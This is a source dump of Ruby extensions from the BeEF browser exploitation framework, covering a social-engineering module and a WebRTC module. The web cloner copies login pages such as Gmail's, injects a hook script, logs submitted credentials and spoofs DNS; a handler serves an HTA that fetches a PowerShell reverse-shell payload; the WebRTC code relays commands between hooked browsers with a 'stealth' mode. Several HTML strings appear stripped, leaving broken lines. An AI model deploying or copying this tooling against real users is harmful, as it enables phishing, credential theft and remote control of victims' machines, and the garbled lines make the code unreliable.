BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url') server.mount(ps_url.to_s, BeEF::Extension::SocialEngineering::Bind_powershell.new) end end module SocialEngineering extend BeEF::API::Extension @short_name = 'social_engineering' @full_name = 'Social Engineering' @description = 'Web page cloner and other social engineering tools.' BeEF::API::Registrar.instance.register(BeEF::Extension::RegisterSEngHandler, BeEF::API::Server, 'mount_handler') end end end # Handlers require 'extensions/social_engineering/web_cloner/web_cloner' require 'extensions/social_engineering/web_cloner/interceptor' require 'extensions/social_engineering/powershell/bind_powershell' # Models require 'extensions/social_engineering/models/web_cloner' require 'extensions/social_engineering/models/interceptor' # RESTful api endpoints require 'extensions/social_engineering/rest/socialengineering' ================================================ FILE: extensions/social_engineering/models/interceptor.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Core module Models class Interceptor < BeEF::Core::Model belongs_to :webcloner end end end end ================================================ FILE: extensions/social_engineering/models/web_cloner.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Core module Models class WebCloner < BeEF::Core::Model has_many :interceptors end end end end ================================================ FILE: extensions/social_engineering/powershell/bind_powershell.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module SocialEngineering # # By default powershell will be served from http://beef_server:beef_port/ps/ps.png # # NOTE: make sure you change the 'beef.http.public' settings in the main BeEF config.yaml to the public IP address / hostname for BeEF, # and also the powershell-related variable in extensions/social_engineering/config.yaml, # and also write your PowerShell payload to extensions/social_engineering/powershell/powershell_payload. class Bind_powershell < BeEF::Core::Router::Router before do headers 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Expires' => '0' end # serves the HTML Application (HTA) get '/hta' do response['Content-Type'] = 'application/hta' @config = BeEF::Core::Configuration.instance beef_url_str = @config.beef_url_str ps_url = @config.get('beef.extension.social_engineering.powershell.powershell_handler_url') payload_url = "#{beef_url_str}#{ps_url}/ps.png" print_info "Serving HTA. Powershell payload will be retrieved from: #{payload_url}" "" end # serves the powershell payload after modifying LHOST/LPORT # The payload gets served via HTTP by default. Serving it via HTTPS it's still a TODO get '/ps.png' do response['Content-Type'] = 'text/plain' @ps_lhost = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_host') @ps_port = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_port') ps_payload_path = "#{$root_dir}/extensions/social_engineering/powershell/powershell_payload" if File.exist?(ps_payload_path) return File.read(ps_payload_path).to_s.gsub('___LHOST___', @ps_lhost).gsub('___LPORT___', @ps_port) end nil end end end end end ================================================ FILE: extensions/social_engineering/rest/socialengineering.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module SocialEngineering class SEngRest < BeEF::Core::Router::Router config = BeEF::Core::Configuration.instance before do error 401 unless params[:token] == config.get('beef.api_token') halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Expires' => '0' end # Example: curl -H "Content-Type: application/json; charset=UTF-8" -d json_body # -X POST http://127.0.0.1:3000/api/seng/clone_page?token=851a937305f8773ee82f5259e792288cdcb01cd7 # # Example json_body: # { # "url": "https://accounts.google.com/ServiceLogin?service=mail&continue=https://mail.google.com/mail/" # "mount": "/gmail", # "dns_spoof": true # } post '/clone_page' do request.body.rewind begin body = JSON.parse request.body.read uri = body['url'] mount = body['mount'] use_existing = body['use_existing'] dns_spoof = body['dns_spoof'] if !uri.nil? && !mount.nil? if (uri =~ URI::DEFAULT_PARSER.make_regexp).nil? # invalid URI print_error 'Invalid URI' halt 401 end unless mount[%r{^/}] # mount needs to start with / print_error 'Invalid mount (need to be a relative path, and start with / )' halt 401 end web_cloner = BeEF::Extension::SocialEngineering::WebCloner.instance success = web_cloner.clone_page(uri, mount, use_existing, dns_spoof) if success result = { 'success' => true, 'mount' => mount }.to_json else result = { 'success' => false }.to_json halt 500 end end rescue StandardError print_error 'Invalid JSON input passed to endpoint /api/seng/clone_page' error 400 # Bad Request end end end end end end ================================================ FILE: extensions/social_engineering/web_cloner/cloned_pages/readme.txt ================================================ This is the directory where the cloned pages will be placed. If you clone beefproject.com, there will be 2 files: - beefproject.com <- original, unmodified - beefproject.com_mod <- modified one In case you want to further modify the beefproject.com_mod manually, and serve it through BeEF, do the following: - clone the page - modify the beefproject.com_mod file - clone the same page again, adding the "use_existing":"true" parameter in the RESTful API call. In this way the x_mod page will be served, with your custom modifications. ================================================ FILE: extensions/social_engineering/web_cloner/interceptor.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module SocialEngineering require 'sinatra/base' class Interceptor < Sinatra::Base configure do set :show_exceptions, false end # intercept GET get '/' do print_info "GET request from IP #{request.ip}" print_info "Referer: #{request.referer}" cloned_page = settings.cloned_page cloned_page end # intercept POST post '/' do print_info "POST request from IP #{request.ip}" request.body.rewind data = request.body.read print_info 'Intercepted data:' print_info data interceptor_db = BeEF::Core::Models::Interceptor.new( webcloner_id: settings.db_entry.id, post_data: data, ip: request.ip ) interceptor_db.save if settings.frameable print_info 'Page can be framed :-) Loading original URL into iFrame...' "\n" else print_info 'Page can not be framed :-) Redirecting to original URL...' redirect settings.redirect_to end end end end end end ================================================ FILE: extensions/social_engineering/web_cloner/web_cloner.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module SocialEngineering class WebCloner require 'socket' include Singleton def initialize @http_server = BeEF::Core::Server.instance @config = BeEF::Core::Configuration.instance @cloned_pages_dir = "#{File.expand_path('../../../extensions/social_engineering/web_cloner', __dir__)}/cloned_pages/" @beef_hook = @config.hook_url.to_s end def clone_page(url, mount, use_existing, dns_spoof) print_info "Cloning page at URL #{url}" uri = URI(url) output = uri.host output_mod = "#{output}_mod" user_agent = @config.get('beef.extension.social_engineering.web_cloner.user_agent') success = false # Sometimes pages use Javascript/custom logic to submit forms. In these cases even having a powerful parser, # there is no need to implement the complex logic to handle all different cases. # We want to leave the task to modify the xxx_mod file to the BeEF user, and serve it through BeEF after modification. # So ideally, if the the page needs custom modifications, the web_cloner usage will be the following: # 1th request. {"uri":"http://example.com", "mount":"/"} <- clone the page, and create the example.com_mod file # - the user modify the example.com_mod file manually # 2nd request. {"uri":"http://example.com", "mount":"/", "use_existing":"true"} <- serve the example.com_mod file # if use_existing.nil? || use_existing == false begin cmd = ['wget', url.to_s, '-c', '-k', '-O', (@cloned_pages_dir + output).to_s, '-U', user_agent.to_s, '--read-timeout', '60', '--tries', '3'] cmd << '--no-check-certificate' unless @config.get('beef.extension.social_engineering.web_cloner.verify_ssl') print_debug "Running command: #{cmd.join(' ')}" IO.popen(cmd, 'r+') do |wget_io| end success = true rescue Errno::ENOENT print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH." rescue StandardError => e print_error "Errors executing wget: #{e}" end if success File.open((@cloned_pages_dir + output_mod).to_s, 'w') do |out_file| File.open((@cloned_pages_dir + output).to_s, 'r').each do |line| # Modify the
    line changing the action URI to / in order to be properly intercepted by BeEF if line.include?('') || line.include?('')) && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook') out_file.print add_beef_hook(line) print_info 'BeEF hook added :-D' else out_file.print line end end end end end if File.size((@cloned_pages_dir + output).to_s).zero? print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'." return false end print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]" file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve # Split the URL mounting only the path and ignoring the query string. # If the user wants to clone http://example.local/login.jsp?example=123&test=456 # then the phishing link can be used anyway with all the proper parameters to look legit. mount = mount.split('?').first if mount.include?('?') mount = mount.split(';').first if mount.include?(';') interceptor = BeEF::Extension::SocialEngineering::Interceptor interceptor.set :redirect_to, url interceptor.set :frameable, url_is_frameable?(url) interceptor.set :beef_hook, @beef_hook interceptor.set :cloned_page, get_page_content(file_path) interceptor.set :db_entry, persist_page(url, mount) # Add a DNS record spoofing the address of the cloned webpage as the BeEF server if dns_spoof dns = BeEF::Extension::Dns::Server.instance ipv4 = Socket.ip_address_list.detect { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address ipv6 = Socket.ip_address_list.detect { |ai| ai.ipv6? && !ai.ipv6_loopback? }.ip_address ipv6.gsub!(/%\w*$/, '') domain = url.gsub(%r{^http://}, '') unless ipv4.nil? dns.add_rule( pattern: domain, resource: Resolv::DNS::Resource::IN::A, response: ipv4 ) end unless ipv6.nil? dns.add_rule( pattern: domain, resource: Resolv::DNS::Resource::IN::AAAA, response: ipv6 ) end print_info "DNS records spoofed [A: #{ipv4} AAAA: #{ipv6}]" end print_info "Mounting cloned page on URL [#{mount}]" @http_server.mount(mount.to_s, interceptor.new) @http_server.remap true end private # Replace with def add_beef_hook(line) # @todo why is this an inline replace? and why is the second branch empty? if line.include?('') line.gsub!('', "\n") elsif line.gsub!('', "\n") end line end # Check if the URL X-Frame-Options header allows the page to be framed. # @todo check for framebusting JS code # @todo check CSP def url_is_frameable?(url) uri = URI(url) http = Net::HTTP.new(uri.host, uri.port) if uri.scheme == 'https' http.use_ssl = true http.verify_mode = OpenSSL::SSL::VERIFY_NONE unless @config.get('beef.extension.social_engineering.web_cloner.verify_ssl') end request = Net::HTTP::Get.new(uri.request_uri) response = http.request(request) frame_opt = response['X-Frame-Options'] # @todo why is this using casecmp? if !frame_opt.nil? && (frame_opt.casecmp('DENY') == 0 || frame_opt.casecmp('SAMEORIGIN') == 0) print_info "URL can be framed: #{url}" return true end print_info "URL cannot be framed: #{url}" false rescue StandardError => e print_error "Unable to determine if URL can be framed: #{url}" print_debug e # print_debug e.backtrace false end def get_page_content(file_path) file = File.open(file_path, 'r') cloned_page = file.read file.close cloned_page end def persist_page(uri, mount) webcloner_db = BeEF::Core::Models::WebCloner.new( uri: uri, mount: mount ) webcloner_db.save webcloner_db end end end end end ================================================ FILE: extensions/webrtc/api/hook.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # A lot of this logic is cloned from the requester extension, which had a sane way of sending/recvng # JS to the clients.. module BeEF module Extension module WebRTC module API require 'uri' class Hook include BeEF::Core::Handlers::Modules::BeEFJS # If the RtcSignal table contains requests that need to be sent (has_sent = waiting), retrieve # and send them to the hooked browser. # Don't forget, these are signalling messages for a peer, so we don't check that the request # is for the hooked_browser_id, but the target # This logic also checks the Rtc def requester_run(hb, body) @body = body rtcsignaloutput = [] rtcmanagementoutput = [] # Get all RTCSignals for this browser BeEF::Core::Models::RtcSignal.where(:target_hooked_browser_id => hb.id, :has_sent => "waiting").each { |h| # output << self.requester_parse_db_request(h) rtcsignaloutput << h.signal h.has_sent = "sent" h.save } # Get all RTCManagement messages for this browser BeEF::Core::Models::RtcManage.where(:hooked_browser_id => hb.id, :has_sent => "waiting").each {|h| rtcmanagementoutput << h.message h.has_sent = "sent" h.save } # Return if we have no new data to add to hook.js return if rtcsignaloutput.empty? and rtcmanagementoutput.empty? config = BeEF::Core::Configuration.instance ws = BeEF::Core::Websocket::Websocket.instance # todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again. #todo antisnatchor: remove this gsub crap adding some hook packing. # The below is how antisnatchor was managing insertion of messages dependent on WebSockets or not # Hopefully this still works if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session) rtcsignaloutput.each {|o| add_rtcsignal_to_body o } unless rtcsignaloutput.empty? rtcmanagementoutput.each {|o| add_rtcmanagement_to_body o } unless rtcmanagementoutput.empty? # ws.send(content + @body,hb.session) ws.send(@body,hb.session) #if we use WebSockets, just reply wih the component contents else # if we use XHR-polling, add the component to the main hook file rtcsignaloutput.each {|o| add_rtcsignal_to_body o } unless rtcsignaloutput.empty? rtcmanagementoutput.each {|o| add_rtcmanagement_to_body o } unless rtcmanagementoutput.empty? end end def add_rtcsignal_to_body(output) @body << %Q{ beef.execute(function() { var peerid = null; for (k in beefrtcs) { if (beefrtcs[k].allgood === false) { peerid = beefrtcs[k].peerid; } } if (peerid == null) { beef.debug('received a peer message, but, we are already setup?'); } else { beefrtcs[peerid].processMessage( JSON.stringify(#{output}) ); } }); } end def add_rtcmanagement_to_body(output) @body << %Q{ beef.execute(function() { #{output} }); } end end end end end end ================================================ FILE: extensions/webrtc/api.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module WebRTC module RegisterHttpHandler BeEF::API::Registrar.instance.register(BeEF::Extension::WebRTC::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') # We register the http handler for the WebRTC signalling extension. # This http handler will handle WebRTC signals from browser to browser # We also define an rtc message handler, so that the beefwebrtc object can send messages back into BeEF def self.mount_handler(beef_server) beef_server.mount('/rtcsignal', BeEF::Extension::WebRTC::SignalHandler) beef_server.mount('/rtcmessage', BeEF::Extension::WebRTC::MessengeHandler) beef_server.mount('/api/webrtc', BeEF::Extension::WebRTC::WebRTCRest.new) end end module RegisterPreHookCallback BeEF::API::Registrar.instance.register(BeEF::Extension::WebRTC::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send') # We register this pre hook action to ensure that signals going to a browser are included back in the hook.js polling # This is also used so that BeEF can send RTCManagement messages to the hooked browser too def self.pre_hook_send(hooked_browser, body, params, request, response) dhook = BeEF::Extension::WebRTC::API::Hook.new dhook.requester_run(hooked_browser, body) end end end end end ================================================ FILE: extensions/webrtc/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: extension: webrtc: name: 'WebRTC' enable: false authors: ["xntrik"] stunservers: '["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302","turn:numb.viagenie.ca:3478"]' # stunservers: '["stun:stun.l.google.com:19302"]' turnservers: '{"username": "someone%40somewhere.com", "password": "somepass", "uris": ["turn:numb.viagenie.ca:3478?transport=udp","turn:numb.viagenie.ca:3478?transport=tcp"]}' ================================================ FILE: extensions/webrtc/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module WebRTC extend BeEF::API::Extension @short_name = 'webrtc' @full_name = 'WebRTC' @description = 'WebRTC extension to all browsers to connect to each other (P2P) with WebRTC' end end end require 'extensions/webrtc/models/rtcsignal' require 'extensions/webrtc/models/rtcmanage' require 'extensions/webrtc/models/rtcstatus' require 'extensions/webrtc/models/rtcmodulestatus' require 'extensions/webrtc/api/hook' require 'extensions/webrtc/handlers' require 'extensions/webrtc/api' require 'extensions/webrtc/rest/webrtc' ================================================ FILE: extensions/webrtc/handlers.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module WebRTC # # The http handler that manages the WebRTC signals sent from browsers to other browsers. # class SignalHandler R = BeEF::Core::Models::RtcSignal Z = BeEF::Core::Models::HookedBrowser def initialize(data) @data = data setup() end def setup() # validates the hook token beef_hook = @data['beefhook'] || nil (print_error "beefhook is null";return) if beef_hook.nil? # validates the target hook token target_beef_id = @data['results']['targetbeefid'] || nil (print_error "targetbeefid is null";return) if target_beef_id.nil? # validates the signal signal = @data['results']['signal'] || nil (print_error "Signal is null";return) if signal.nil? # validates that a hooked browser with the beef_hook token exists in the db zombie_db = Z.first(:session => beef_hook) || nil (print_error "Invalid beefhook id: the hooked browser cannot be found in the database";return) if zombie_db.nil? # validates that a target browser with the target_beef_token exists in the db target_zombie_db = Z.first(:id => target_beef_id) || nil (print_error "Invalid targetbeefid: the target hooked browser cannot be found in the database";return) if target_zombie_db.nil? # save the results in the database signal = R.new( :hooked_browser_id => zombie_db.id, :target_hooked_browser_id => target_zombie_db.id, :signal => signal ) signal.save end end # # The http handler that manages the WebRTC messages sent from browsers. # class MessengeHandler Z = BeEF::Core::Models::HookedBrowser def initialize(data) @data = data setup() end def setup() # validates the hook token beef_hook = @data['beefhook'] || nil (print_error "beefhook is null";return) if beef_hook.nil? # validates the target hook token peer_id = @data['results']['peerid'] || nil (print_error "peerid is null";return) if peer_id.nil? # validates the message message = @data['results']['message'] || nil (print_error "Message is null";return) if message.nil? # validates that a hooked browser with the beef_hook token exists in the db zombie_db = Z.first(:session => beef_hook) || nil (print_error "Invalid beefhook id: the hooked browser cannot be found in the database";return) if zombie_db.nil? # validates that a browser with the peerid exists in the db peer_zombie_db = Z.first(:id => peer_id) || nil (print_error "Invalid peer_id: the peer hooked browser cannot be found in the database";return) if peer_zombie_db.nil? # Writes the event into the BeEF Logger BeEF::Core::Logger.instance.register('WebRTC', "Browser:#{zombie_db.id} received message from Browser:#{peer_zombie_db.id}: #{message}") # Perform logic depending on message (updating database) puts "message = '" + message + "'" if (message == "ICE Status: connected") # Find existing status message stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil unless stat.nil? stat.status = "Connected" stat.updated_at = Time.now stat.save end stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil unless stat2.nil? stat2.status = "Connected" stat2.updated_at = Time.now stat2.save end elsif (message.end_with?("disconnected")) stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil unless stat.nil? stat.status = "Disconnected" stat.updated_at = Time.now stat.save end stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil unless stat2.nil? stat2.status = "Disconnected" stat2.updated_at = Time.now stat2.save end elsif (message == "Stayin alive") stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil unless stat.nil? stat.status = "Stealthed!!" stat.updated_at = Time.now stat.save end stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil unless stat2.nil? stat2.status = "Peer-controlled stealth-mode" stat2.updated_at = Time.now stat2.save end elsif (message == "Coming out of stealth...") stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil unless stat.nil? stat.status = "Connected" stat.updated_at = Time.now stat.save end stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil unless stat2.nil? stat2.status = "Connected" stat2.updated_at = Time.now stat2.save end elsif (message.start_with?("execcmd")) mod = /\(\/command\/(.*)\.js\)/.match(message)[1] resp = /Result:.(.*)/.match(message)[1] stat = BeEF::Core::Models::Rtcmodulestatus.new(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id, :command_module_id => mod, :status => resp, :created_at => Time.now, :updated_at => Time.now) stat.save end end end end end end ================================================ FILE: extensions/webrtc/models/rtcmanage.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Core module Models # # Table stores the queued up JS commands for managing the client-side webrtc logic. # class RtcManage < BeEF::Core::Model # Starts the RTCPeerConnection process, establishing a WebRTC connection between the caller and the receiver def self.initiate(caller, receiver, verbosity = false) stunservers = BeEF::Core::Configuration.instance.get("beef.extension.webrtc.stunservers") turnservers = BeEF::Core::Configuration.instance.get("beef.extension.webrtc.turnservers") # Add the beef.webrtc.start() JavaScript call into the RtcManage table - this will be picked up by the browser on next hook.js poll # This is for the Receiver r = BeEF::Core::Models::RtcManage.new(:hooked_browser_id => receiver, :message => "beef.webrtc.start(0,#{caller},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});") r.save! # This is the same beef.webrtc.start() JS call, but for the Caller r = BeEF::Core::Models::RtcManage.new(:hooked_browser_id => caller, :message => "beef.webrtc.start(1,#{receiver},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});") r.save! end # Advises a browser to send an RTCDataChannel message to its peer # Similar to the initiate method, this loads up a JavaScript call to the beefrtcs[peerid].sendPeerMsg() function call def self.sendmsg(from, to, message) r = BeEF::Core::Models::RtcManage.new(:hooked_browser_id => from, :message => "beefrtcs[#{to}].sendPeerMsg('#{message}');") r.save! end # Gets the browser to run the beef.webrtc.status() JavaScript function # This JS function will return it's values to the /rtcmessage handler def self.status(id) r = BeEF::Core::Models::RtcManage.new(:hooked_browser_id => id, :message => "beef.webrtc.status(#{id});") r.save! end end end end end ================================================ FILE: extensions/webrtc/models/rtcmodulestatus.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Core module Models # # Table stores the webrtc status information # This includes things like connection status, and executed modules etc # class Rtcmodulestatus < BeEF::Core::Model belongs_to :hooked_browser belongs_to :command_module end end end end ================================================ FILE: extensions/webrtc/models/rtcsignal.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Core module Models # # Table stores the webrtc signals from a hooked_browser, directed to a target_hooked_browser # class RtcSignal < BeEF::Core::Model belongs_to :hooked_browser end end end end ================================================ FILE: extensions/webrtc/models/rtcstatus.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Core module Models # # Table stores the webrtc status information # This includes things like connection status, and executed modules etc # class Rtcstatus < BeEF::Core::Model belongs_to :hooked_browser end end end end ================================================ FILE: extensions/webrtc/rest/webrtc.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module WebRTC require 'base64' # This class handles the routing of RESTful API requests that manage the # WebRTC Extension class WebRTCRest < BeEF::Core::Router::Router # Filters out bad requests before performing any routing before do config = BeEF::Core::Configuration.instance # Require a valid API token from a valid IP address halt 401 unless params[:token] == config.get('beef.api_token') halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Expires' => '0' end # # @note Initiate two browsers to establish a WebRTC PeerConnection # Return success = true if the message has been queued - as this is # asynchronous, you will have to monitor BeEFs event log for success # messages. For instance: Event: Browser:1 received message from # Browser:2: ICE Status: connected # # Alternatively, the new rtcstatus model also records events during # RTC connectivity # # Input must be specified in JSON format (the verbose option is no # longer required as client-debugging uses the beef.debug) # # +++ Example: +++ # POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 # Host: 127.0.0.1:3000 # Content-Type: application/json; charset=UTF-8 # # {"from":1, "to":2} #===response (snip)=== # HTTP/1.1 200 OK # Content-Type: application/json; charset=UTF-8 # # {"success":"true"} # # +++ Example with verbosity on the client-side +++ # POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 # Host: 127.0.0.1:3000 # Content-Type: application/json; charset=UTF-8 # # {"from":1, "to":2, "verbose": true} #===response (snip)=== # HTTP/1.1 200 OK # Content-Type: application/json; charset=UTF-8 # # {"success":"true"} # # +++ Example with curl +++ # curl -H "Content-type: application/json; charset=UTF-8" -v # -X POST -d '{"from":1,"to":2,"verbose":true}' # http://127.0.0.1:3000/api/webrtc/go\?token\=df67654b03d030d97018f85f0284247d7f49c348 post '/go' do body = JSON.parse(request.body.read) fromhb = body['from'] raise InvalidParamError, 'from' if fromhb.nil? tohb = body['to'] raise InvalidParamError, 'to' if tohb.nil? verbose = body['verbose'] result = {} if [fromhb, tohb].include?(nil) result['success'] = false return result.to_json end if verbose.to_s =~ (/^(true|t|yes|y|1)$/i) BeEF::Core::Models::RtcManage.initiate(fromhb.to_i, tohb.to_i, true) else BeEF::Core::Models::RtcManage.initiate(fromhb.to_i, tohb.to_i) end r = BeEF::Core::Models::Rtcstatus.new( hooked_browser_id: fromhb.to_i, target_hooked_browser_id: tohb.to_i, status: 'Initiating..', created_at: Time.now, updated_at: Time.now ) r.save r2 = BeEF::Core::Models::Rtcstatus.new( hooked_browser_id: tohb.to_i, target_hooked_browser_id: fromhb.to_i, status: 'Initiating..', created_at: Time.now, updated_at: Time.now ) r2.save result['success'] = true result.to_json rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while initiating RTCPeerConnections .. (#{e.message})" halt 500 end # # @note Get the RTCstatus of a particular browser (and its peers) # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log # for success messages. For instance: Event: Browser:1 received message from Browser:2: Status checking - allgood: true # # +++ Example: +++ # GET /api/webrtc/status/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 # Host: 127.0.0.1:3000 # #===response (snip)=== # HTTP/1.1 200 OK # Content-Type: application/json; charset=UTF-8 # # {"success":"true"} # # +++ Example with curl +++ # curl -H "Content-type: application/json; charset=UTF-8" -v # -X GET http://127.0.0.1:3000/api/webrtc/status/1\?token\=df67654b03d030d97018f85f0284247d7f49c348 get '/status/:id' do id = params[:id] BeEF::Core::Models::RtcManage.status(id.to_i) result = {} result['success'] = true result.to_json rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while queuing status message for #{id} (#{e.message})" halt 500 end # # @note Get the events from the RTCstatus model of a particular browser # Return JSON with events_count and an array of events # # +++ Example: +++ # GET /api/webrtc/events/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 # Host: 127.0.0.1:3000 # #===response (snip)=== # HTTP/1.1 200 OK # Content-Type: application/json; charset=UTF-8 # # {"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"Connected","created_at":"timestamp","updated_at":"timestamp"}]} # # +++ Example with curl +++ # curl -H "Content-type: application/json; charset=UTF-8" -v # -X GET http://127.0.0.1:3000/api/webrtc/events/1\?token\=df67654b03d030d97018f85f0284247d7f49c348 get '/events/:id' do id = params[:id] events = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: id) events_json = [] count = events.length events.each do |event| events_json << { 'id' => event.id.to_i, 'hb_id' => event.hooked_browser_id.to_i, 'target_id' => event.target_hooked_browser_id.to_i, 'status' => event.status.to_s, 'created_at' => event.created_at.to_s, 'updated_at' => event.updated_at.to_s } end unless events_json.empty? { 'events_count' => count, 'events' => events_json }.to_json end rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while queuing status message for #{id} (#{e.message})" halt 500 end # # @note Get the events from the RTCModuleStatus model of a particular browser # Return JSON with events_count and an array of events associated with command module execute # # +++ Example: +++ # GET /api/webrtc/cmdevents/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 # Host: 127.0.0.1:3000 # #===response (snip)=== # HTTP/1.1 200 OK # Content-Type: application/json; charset=UTF-8 # # {"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"prompt=blah","mod":200,"created_at":"timestamp","updated_at":"timestamp"}]} # # +++ Example with curl +++ # curl -H "Content-type: application/json; charset=UTF-8" -v # -X GET http://127.0.0.1:3000/api/webrtc/cmdevents/1\?token\=df67654b03d030d97018f85f0284247d7f49c348 get '/cmdevents/:id' do id = params[:id] events = BeEF::Core::Models::Rtcmodulestatus.where(hooked_browser_id: id) events_json = [] count = events.length events.each do |event| events_json << { 'id' => event.id.to_i, 'hb_id' => event.hooked_browser_id.to_i, 'target_id' => event.target_hooked_browser_id.to_i, 'status' => event.status.to_s, 'created_at' => event.created_at.to_s, 'updated_at' => event.updated_at.to_s, 'mod' => event.command_module_id } end unless events_json.empty? { 'events_count' => count, 'events' => events_json }.to_json end rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while queuing status message for #{id} (#{e.message})" halt 500 end # # @note Instruct a browser to send an RTC DataChannel message to one of its peers # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log # for success messages, IF ANY. # # Input must be specified in JSON format # # +++ Example: +++ # POST /api/webrtc/msg?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 # Host: 127.0.0.1:3000 # Content-Type: application/json; charset=UTF-8 